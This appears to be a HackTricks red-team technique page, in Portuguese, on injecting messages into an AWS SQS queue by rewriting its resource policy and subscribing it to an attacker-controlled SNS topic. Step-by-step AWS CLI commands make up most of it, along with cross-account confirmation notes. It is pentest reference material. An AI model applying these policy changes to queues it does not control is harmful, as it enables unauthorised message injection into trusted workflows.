AWS – SQS Cross-/Same-Account Injection via SNS Subscription + Queue Policy

Reading time: 4 minutes

tip

Aprenda e pratique Hacking AWS:HackTricks Training AWS Red Team Expert (ARTE)
Aprenda e pratique Hacking GCP: HackTricks Training GCP Red Team Expert (GRTE) Aprenda e pratique Hacking Azure: HackTricks Training Azure Red Team Expert (AzRTE)

Support HackTricks

Descrição

Abusar da política de recurso da fila SQS para permitir que um SNS topic controlado pelo atacante publique mensagens em uma fila SQS vítima. Na mesma conta, uma subscription SQS para um SNS topic se confirma automaticamente; em cross-account, você deve ler o token SubscriptionConfirmation da fila e chamar ConfirmSubscription. Isso permite injeção de mensagens não confiáveis que consumidores a jusante podem implicitamente confiar.

Requisitos

  • Capacidade de modificar a política de recurso da fila SQS alvo: sqs:SetQueueAttributes na fila vítima.
  • Capacidade de criar/publicar em um SNS topic sob controle do atacante: sns:CreateTopic, sns:Publish, e sns:Subscribe na conta/topic do atacante.
  • Apenas cross-account: temporário sqs:ReceiveMessage na fila vítima para ler o token de confirmação e chamar sns:ConfirmSubscription.

Exploração na mesma conta

bash
REGION=us-east-1
# 1) Create victim queue and capture URL/ARN
Q_URL=$(aws sqs create-queue --queue-name ht-victim-q --region $REGION --query QueueUrl --output text)
Q_ARN=$(aws sqs get-queue-attributes --queue-url "$Q_URL" --region $REGION --attribute-names QueueArn --query Attributes.QueueArn --output text)

# 2) Create attacker SNS topic
TOPIC_ARN=$(aws sns create-topic --name ht-attacker-topic --region $REGION --query TopicArn --output text)

# 3) Allow that SNS topic to publish to the queue (queue resource policy)
cat > /tmp/ht-sqs-sns-policy.json <<JSON
{"Version":"2012-10-17","Statement":[{"Sid":"AllowSNSTopicPublish","Effect":"Allow","Principal":{"Service":"sns.amazonaws.com"},"Action":"SQS:SendMessage","Resource":"REPLACE_QUEUE_ARN","Condition":{"StringEquals":{"aws:SourceArn":"REPLACE_TOPIC_ARN"}}}]}
JSON
sed -i.bak "s#REPLACE_QUEUE_ARN#$Q_ARN#g; s#REPLACE_TOPIC_ARN#$TOPIC_ARN#g" /tmp/ht-sqs-sns-policy.json
# Provide the attribute as a JSON map so quoting works reliably
cat > /tmp/ht-attrs.json <<JSON
{
"Policy": "REPLACE_POLICY_JSON"
}
JSON
# Embed the policy file contents as a JSON string
POL_ESC=$(jq -Rs . /tmp/ht-sqs-sns-policy.json)
sed -i.bak "s#\"REPLACE_POLICY_JSON\"#$POL_ESC#g" /tmp/ht-attrs.json
aws sqs set-queue-attributes --queue-url "$Q_URL" --region $REGION --attributes file:///tmp/ht-attrs.json

# 4) Subscribe the queue to the topic (auto-confirms same-account)
aws sns subscribe --topic-arn "$TOPIC_ARN" --protocol sqs --notification-endpoint "$Q_ARN" --region $REGION

# 5) Publish and verify injection
aws sns publish --topic-arn "$TOPIC_ARN" --message {pwn:sns->sqs} --region $REGION
aws sqs receive-message --queue-url "$Q_URL" --region $REGION --max-number-of-messages 1 --wait-time-seconds 10 --attribute-names All --message-attribute-names All

Notas entre contas

  • A política da fila acima deve permitir o TOPIC_ARN externo (conta do atacante).
  • Assinaturas não serão confirmadas automaticamente. Conceda a si mesmo sqs:ReceiveMessage temporário na fila vítima para ler a mensagem SubscriptionConfirmation e então execute sns confirm-subscription com seu Token.

Impacto

Impacto Potencial: Injeção contínua de mensagens não solicitadas em uma fila SQS confiável via SNS, potencialmente acionando processamento não intencional, poluição de dados ou abuso de fluxo de trabalho.

tip

Aprenda e pratique Hacking AWS:HackTricks Training AWS Red Team Expert (ARTE)
Aprenda e pratique Hacking GCP: HackTricks Training GCP Red Team Expert (GRTE) Aprenda e pratique Hacking Azure: HackTricks Training Azure Red Team Expert (AzRTE)

Support HackTricks